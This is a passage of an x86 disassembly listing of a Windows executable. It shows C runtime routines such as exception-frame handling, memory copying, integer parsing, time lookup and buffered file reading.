cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_416328
cmp ecx, [eax+8]
jle short loc_41632D
loc_416328: ; CODE XREF: sub_4162EB+36j
cmp esi, 0FFFFFFFFh
jnz short loc_416339
loc_41632D: ; CODE XREF: sub_4162EB+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_416339: ; CODE XREF: sub_4162EB+40j
cmp [ebp+arg_4], 0
jge short loc_416309
mov eax, [ebp+var_4]
loc_416342: ; CODE XREF: sub_4162EB+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_416356
cmp esi, eax
jbe short loc_41635B
loc_416356: ; CODE XREF: sub_4162EB+65j
call sub_41ABF2
loc_41635B: ; CODE XREF: sub_4162EB+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_4162EB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416368 proc near ; CODE XREF: sub_41CE08+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_416380
push [ebp+arg_0]
call sub_42010C
loc_416380: ; DATA XREF: sub_416368+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416368 endp
; =============== S U B R O U T I N E =======================================
sub_416388 proc near ; DATA XREF: sub_4163AA+Ao
; sub_416412+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4163A9
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4163A9: ; CODE XREF: sub_416388+10j
retn
sub_416388 endp
; =============== S U B R O U T I N E =======================================
sub_4163AA proc near ; CODE XREF: sub_41A86F+Dp
; sub_41CE08+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_416388
push large dword ptr fs:0
mov large fs:0, esp
loc_4163C7: ; CODE XREF: sub_4163AA:loc_416402j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_416404
cmp esi, [esp+1Ch+arg_4]
jz short loc_416404
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_416402
push 101h
mov eax, [ebx+esi*4+8]
call sub_41643E
call dword ptr [ebx+esi*4+8]
loc_416402: ; CODE XREF: sub_4163AA+44j
jmp short loc_4163C7
; ---------------------------------------------------------------------------
loc_416404: ; CODE XREF: sub_4163AA+2Aj
; sub_4163AA+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4163AA endp
; =============== S U B R O U T I N E =======================================
sub_416412 proc near ; CODE XREF: sub_41A88F+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_416388
jnz short locret_416434
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_416434
mov eax, 1
locret_416434: ; CODE XREF: sub_416412+10j
; sub_416412+1Bj
retn
sub_416412 endp
; =============== S U B R O U T I N E =======================================
sub_416435 proc near ; CODE XREF: sub_41AB50+1Ep
; sub_41AB50+40p
push ebx
push ecx
mov ebx, offset dword_437D6C
jmp short loc_416448
sub_416435 endp
; =============== S U B R O U T I N E =======================================
sub_41643E proc near ; CODE XREF: sub_4163AA+4Fp
; sub_41CE08+78p
push ebx
push ecx
mov ebx, offset dword_437D6C
mov ecx, [ebp+8]
loc_416448: ; CODE XREF: sub_416435+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41643E endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_416458 proc near ; CODE XREF: sub_4046AA+5p
; sub_40484C+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_416458 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416477 proc near ; CODE XREF: sub_404D21+26p
; .nsp0:0041FEE5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_415E3D
pop ecx
retn
sub_416477 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416490 proc near ; CODE XREF: sub_404D92+3Ap
; sub_418B28+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4164B0
cmp edi, eax
jb loc_416628
loc_4164B0: ; CODE XREF: sub_416490+16j
test edi, 3
jnz short loc_4164CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
loc_4164CC: ; CODE XREF: sub_416490+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4164E4
and eax, 3
add ecx, eax
jmp dword ptr loc_4164EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4164E4: ; CODE XREF: sub_416490+46j
jmp dword ptr loc_4165E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4164EC: ; CODE XREF: sub_416490+31j
; sub_416490+8Ej ...
jmp off_41656C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_416500
dd offset loc_41652C
dd offset loc_416550
; ---------------------------------------------------------------------------
loc_416500: ; DATA XREF: sub_416490+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41652C: ; DATA XREF: sub_416490+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_416550: ; DATA XREF: sub_416490+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41656C dd offset loc_4165CF ; DATA XREF: sub_416490:loc_4164ECr
dd offset loc_4165BC
dd offset loc_4165B4
dd offset loc_4165AC
dd offset loc_4165A4
dd offset loc_41659C
dd offset loc_416594
dd offset loc_41658C
; ---------------------------------------------------------------------------
loc_41658C: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_416594: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41659C: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4165A4: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4165AC: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4165B4: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4165BC: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4165CF: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490:off_41656Co
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4165D8 dd offset loc_4165E8 ; DATA XREF: sub_416490+35r
; sub_416490+92r ...
dd offset loc_4165F0
dd offset loc_4165FC
dd offset loc_416610
; ---------------------------------------------------------------------------
loc_4165E8: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4165F0: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4165FC: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_416610: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416628: ; CODE XREF: sub_416490+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41665C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_416650: ; CODE XREF: sub_416490+1B1j
; sub_416490+208j ...
neg ecx
jmp off_416720[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41665C: ; CODE XREF: sub_416490+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_416674
and eax, 3
sub ecx, eax
jmp dword ptr loc_416674+4[eax*4]
; ---------------------------------------------------------------------------
loc_416674: ; CODE XREF: sub_416490+1D6j
; DATA XREF: sub_416490+1DDr
jmp off_416770[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [esi+41h], ah
add [eax-2FFFBE9Ah], ch
inc cx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_416724
dd offset loc_41672C
dd offset loc_416734
dd offset loc_41673C
dd offset loc_416744
dd offset loc_41674C
dd offset loc_416754
off_416720 dd offset loc_416767 ; DATA XREF: sub_416490+1C2r
; ---------------------------------------------------------------------------
loc_416724: ; DATA XREF: sub_416490+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41672C: ; DATA XREF: sub_416490+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_416734: ; DATA XREF: sub_416490+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41673C: ; DATA XREF: sub_416490+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_416744: ; DATA XREF: sub_416490+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41674C: ; DATA XREF: sub_416490+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_416754: ; DATA XREF: sub_416490+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_416767: ; CODE XREF: sub_416490+1C2j
; DATA XREF: sub_416490:off_416720o
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_416770 dd offset loc_416780 ; DATA XREF: sub_416490+1B7r
; sub_416490:loc_416674r ...
dd offset loc_416788
dd offset loc_416798
dd offset loc_4167AC
; ---------------------------------------------------------------------------
loc_416780: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416788: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416798: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4167AC: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_416490 endp
; =============== S U B R O U T I N E =======================================
sub_4167C5 proc near ; CODE XREF: sub_404DF9+34p
; sub_404DF9+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_415DDB
pop ecx
pop ecx
retn
sub_4167C5 endp
; =============== S U B R O U T I N E =======================================
sub_4167D3 proc near ; CODE XREF: sub_416840+4p
arg_0 = dword ptr 4
push esi
push dword_46AB34
call sub_41AC48
mov edx, dword_46AB34
pop ecx
mov ecx, dword_46AB30
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_416832
push edx
call sub_41AC48
add eax, 10h
push eax
push dword_46AB34
call sub_4174DF
add esp, 0Ch
test eax, eax
jnz short loc_416815
retn
; ---------------------------------------------------------------------------
loc_416815: ; CODE XREF: sub_4167D3+3Fj
mov ecx, dword_46AB30
sub ecx, dword_46AB34
mov dword_46AB34, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_46AB30, ecx
loc_416832: ; CODE XREF: sub_4167D3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_46AB30, 4
retn
sub_4167D3 endp
; =============== S U B R O U T I N E =======================================
sub_416840 proc near ; CODE XREF: sub_404EE6+1Ap
; sub_4200EE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4167D3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_416840 endp
; =============== S U B R O U T I N E =======================================
sub_416852 proc near ; DATA XREF: .nsp0:00423018o
push 80h
call sub_415DC9
test eax, eax
pop ecx
mov dword_46AB34, eax
jnz short loc_416873
push 18h
call sub_417BEE
mov eax, dword_46AB34
pop ecx
loc_416873: ; CODE XREF: sub_416852+12j
and dword ptr [eax], 0
mov eax, dword_46AB34
mov dword_46AB30, eax
retn
sub_416852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416881 proc near ; CODE XREF: sub_416A89+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_416899: ; CODE XREF: sub_416881+46j
cmp dword_437F9C, 1
jle short loc_4168B1
movzx eax, bl
push 8
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_4168C0
; ---------------------------------------------------------------------------
loc_4168B1: ; CODE XREF: sub_416881+1Fj
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_4168C0: ; CODE XREF: sub_416881+2Ej
test eax, eax
jz short loc_4168C9
mov bl, [esi]
inc esi
jmp short loc_416899
; ---------------------------------------------------------------------------
loc_4168C9: ; CODE XREF: sub_416881+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_4168D7
or [ebp+arg_C], 2
jmp short loc_4168DC
; ---------------------------------------------------------------------------
loc_4168D7: ; CODE XREF: sub_416881+4Ej
cmp bl, 2Bh
jnz short loc_4168E2
loc_4168DC: ; CODE XREF: sub_416881+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_4168E2: ; CODE XREF: sub_416881+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_416A79
cmp eax, 1
jz loc_416A79
cmp eax, 24h
jg loc_416A79
push 10h
test eax, eax
pop ecx
jnz short loc_41692A
cmp bl, 30h
jz short loc_416914
mov [ebp+arg_8], 0Ah
jmp short loc_416946
; ---------------------------------------------------------------------------
loc_416914: ; CODE XREF: sub_416881+88j
mov al, [esi]
cmp al, 78h
jz short loc_416927
cmp al, 58h
jz short loc_416927
mov [ebp+arg_8], 8
jmp short loc_416946
; ---------------------------------------------------------------------------
loc_416927: ; CODE XREF: sub_416881+97j
; sub_416881+9Bj
mov [ebp+arg_8], ecx
loc_41692A: ; CODE XREF: sub_416881+83j
cmp [ebp+arg_8], ecx
jnz short loc_416946
cmp bl, 30h
jnz short loc_416946
mov al, [esi]
cmp al, 78h
jz short loc_41693E
cmp al, 58h
jnz short loc_416946
loc_41693E: ; CODE XREF: sub_416881+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_416946: ; CODE XREF: sub_416881+91j
; sub_416881+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_416956: ; CODE XREF: sub_416881+16Cj
cmp dword_437F9C, 1
movzx esi, bl
jle short loc_41696E
push 4
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_416979
; ---------------------------------------------------------------------------
loc_41696E: ; CODE XREF: sub_416881+DFj
mov eax, off_437D90
mov al, [eax+esi*2]
and eax, 4
loc_416979: ; CODE XREF: sub_416881+EBj
test eax, eax
jz short loc_416985
movsx ecx, bl
sub ecx, 30h
jmp short loc_4169B7
; ---------------------------------------------------------------------------
loc_416985: ; CODE XREF: sub_416881+FAj
cmp dword_437F9C, 1
jle short loc_416999
push edi
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_4169A4
; ---------------------------------------------------------------------------
loc_416999: ; CODE XREF: sub_416881+10Bj
mov eax, off_437D90
mov ax, [eax+esi*2]
and eax, edi
loc_4169A4: ; CODE XREF: sub_416881+116j
test eax, eax
jz short loc_4169F2
movsx eax, bl
push eax
call sub_41AC71
pop ecx
mov ecx, eax
sub ecx, 37h
loc_4169B7: ; CODE XREF: sub_416881+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4169F2
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_4169DC
jnz short loc_4169D6
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_4169DC
loc_4169D6: ; CODE XREF: sub_416881+147j
or [ebp+arg_C], 4
jmp short loc_4169E5
; ---------------------------------------------------------------------------
loc_4169DC: ; CODE XREF: sub_416881+145j
; sub_416881+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_4169E5: ; CODE XREF: sub_416881+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_416956
; ---------------------------------------------------------------------------
loc_4169F2: ; CODE XREF: sub_416881+125j
; sub_416881+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_416A10
test edx, edx
jz short loc_416A0A
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_416A0A: ; CODE XREF: sub_416881+181j
and [ebp+var_8], 0
jmp short loc_416A5D
; ---------------------------------------------------------------------------
loc_416A10: ; CODE XREF: sub_416881+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_416A36
test cl, 1
jnz short loc_416A5D
and ecx, 2
jz short loc_416A2D
cmp [ebp+var_8], 80000000h
ja short loc_416A36
loc_416A2D: ; CODE XREF: sub_416881+1A1j
test ecx, ecx
jnz short loc_416A5D
cmp [ebp+var_8], eax
jbe short loc_416A5D
loc_416A36: ; CODE XREF: sub_416881+197j
; sub_416881+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4694B4, 22h
jz short loc_416A4C
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_416A5D
; ---------------------------------------------------------------------------
loc_416A4C: ; CODE XREF: sub_416881+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_416A5D: ; CODE XREF: sub_416881+18Dj
; sub_416881+19Cj ...
test edx, edx
jz short loc_416A66
mov eax, [ebp+var_4]
mov [edx], eax
loc_416A66: ; CODE XREF: sub_416881+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_416A74
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_416A74: ; CODE XREF: sub_416881+1E9j
mov eax, [ebp+var_8]
jmp short loc_416A84
; ---------------------------------------------------------------------------
loc_416A79: ; CODE XREF: sub_416881+66j
; sub_416881+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_416A82
mov [eax], edi
loc_416A82: ; CODE XREF: sub_416881+1FDj
xor eax, eax
loc_416A84: ; CODE XREF: sub_416881+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_416881 endp
; =============== S U B R O U T I N E =======================================
sub_416A89 proc near ; CODE XREF: sub_405409+4BDp
; sub_40CE55+3641p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416881
add esp, 10h
retn
sub_416A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AA0 proc near ; CODE XREF: sub_405409+266p
; sub_405409+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_415CF0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41AD3D
add esp, 10h
leave
retn
sub_416AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AD4 proc near ; CODE XREF: sub_405409+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_42105C
lea eax, [ebp+var_20]
push eax
call dword_42115C
mov ax, [ebp+var_16]
cmp ax, word_4694AA
jnz short loc_416B39
mov ax, [ebp+var_18]
cmp ax, word_4694A8
jnz short loc_416B39
mov ax, [ebp+var_1A]
cmp ax, word_4694A6
jnz short loc_416B39
mov ax, [ebp+var_1E]
cmp ax, word_4694A2
jnz short loc_416B39
mov ax, [ebp+var_20]
cmp ax, word_4694A0
jnz short loc_416B39
mov eax, dword_469498
jmp short loc_416B7E
; ---------------------------------------------------------------------------
loc_416B39: ; CODE XREF: sub_416AD4+28j
; sub_416AD4+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_421158
cmp eax, 0FFFFFFFFh
jz short loc_416B66
cmp eax, 2
jnz short loc_416B62
cmp [ebp+var_32], 0
jz short loc_416B62
cmp [ebp+var_24], 0
jz short loc_416B62
push 1
pop eax
jmp short loc_416B69
; ---------------------------------------------------------------------------
loc_416B62: ; CODE XREF: sub_416AD4+7Aj
; sub_416AD4+81j ...
xor eax, eax
jmp short loc_416B69
; ---------------------------------------------------------------------------
loc_416B66: ; CODE XREF: sub_416AD4+75j
or eax, 0FFFFFFFFh
loc_416B69: ; CODE XREF: sub_416AD4+8Cj
; sub_416AD4+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4694A0
movsd
movsd
movsd
movsd
pop edi
mov dword_469498, eax
pop esi
loc_416B7E: ; CODE XREF: sub_416AD4+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41B7EE
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_416BAE
mov [ecx], eax
locret_416BAE: ; CODE XREF: sub_416AD4+D6j
leave
retn
sub_416AD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BB0 proc near ; CODE XREF: sub_405A89+4Ep
; sub_406C3E+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_416BD4
xor eax, eax
jmp loc_416C7D
; ---------------------------------------------------------------------------
loc_416BD4: ; CODE XREF: sub_416BB0+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_416BE7
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_416BF3
; ---------------------------------------------------------------------------
loc_416BE7: ; CODE XREF: sub_416BB0+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_416BF3
; ---------------------------------------------------------------------------
loc_416BF0: ; CODE XREF: sub_416BB0+C4j
mov ecx, [ebp+arg_0]
loc_416BF3: ; CODE XREF: sub_416BB0+35j
; sub_416BB0+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_416C25
mov eax, [esi+4]
test eax, eax
jz short loc_416C25
cmp ecx, eax
mov edi, ecx
jb short loc_416C0A
mov edi, eax
loc_416C0A: ; CODE XREF: sub_416BB0+56j
push edi
push dword ptr [esi]
push ebx
call sub_4155D0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_416C70
; ---------------------------------------------------------------------------
loc_416C25: ; CODE XREF: sub_416BB0+49j
; sub_416BB0+50j
cmp ecx, [ebp+arg_C]
jb short loc_416C58
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_416C3B
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_416C3B: ; CODE XREF: sub_416BB0+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41B989
add esp, 0Ch
test eax, eax
jz short loc_416C82
cmp eax, 0FFFFFFFFh
jz short loc_416C88
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_416C70
; ---------------------------------------------------------------------------
loc_416C58: ; CODE XREF: sub_416BB0+78j
push esi
call sub_41B8B0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_416C8C
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_416C70: ; CODE XREF: sub_416BB0+73j
; sub_416BB0+A6j
cmp [ebp+arg_0], 0
jnz loc_416BF0
mov eax, [ebp+arg_8]
loc_416C7D: ; CODE XREF: sub_416BB0+1Fj
; sub_416BB0+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416C82: ; CODE XREF: sub_416BB0+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_416C8C
; ---------------------------------------------------------------------------
loc_416C88: ; CODE XREF: sub_416BB0+9Fj
or dword ptr [esi+0Ch], 20h
loc_416C8C: ; CODE XREF: sub_416BB0+B2j
; sub_416BB0+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
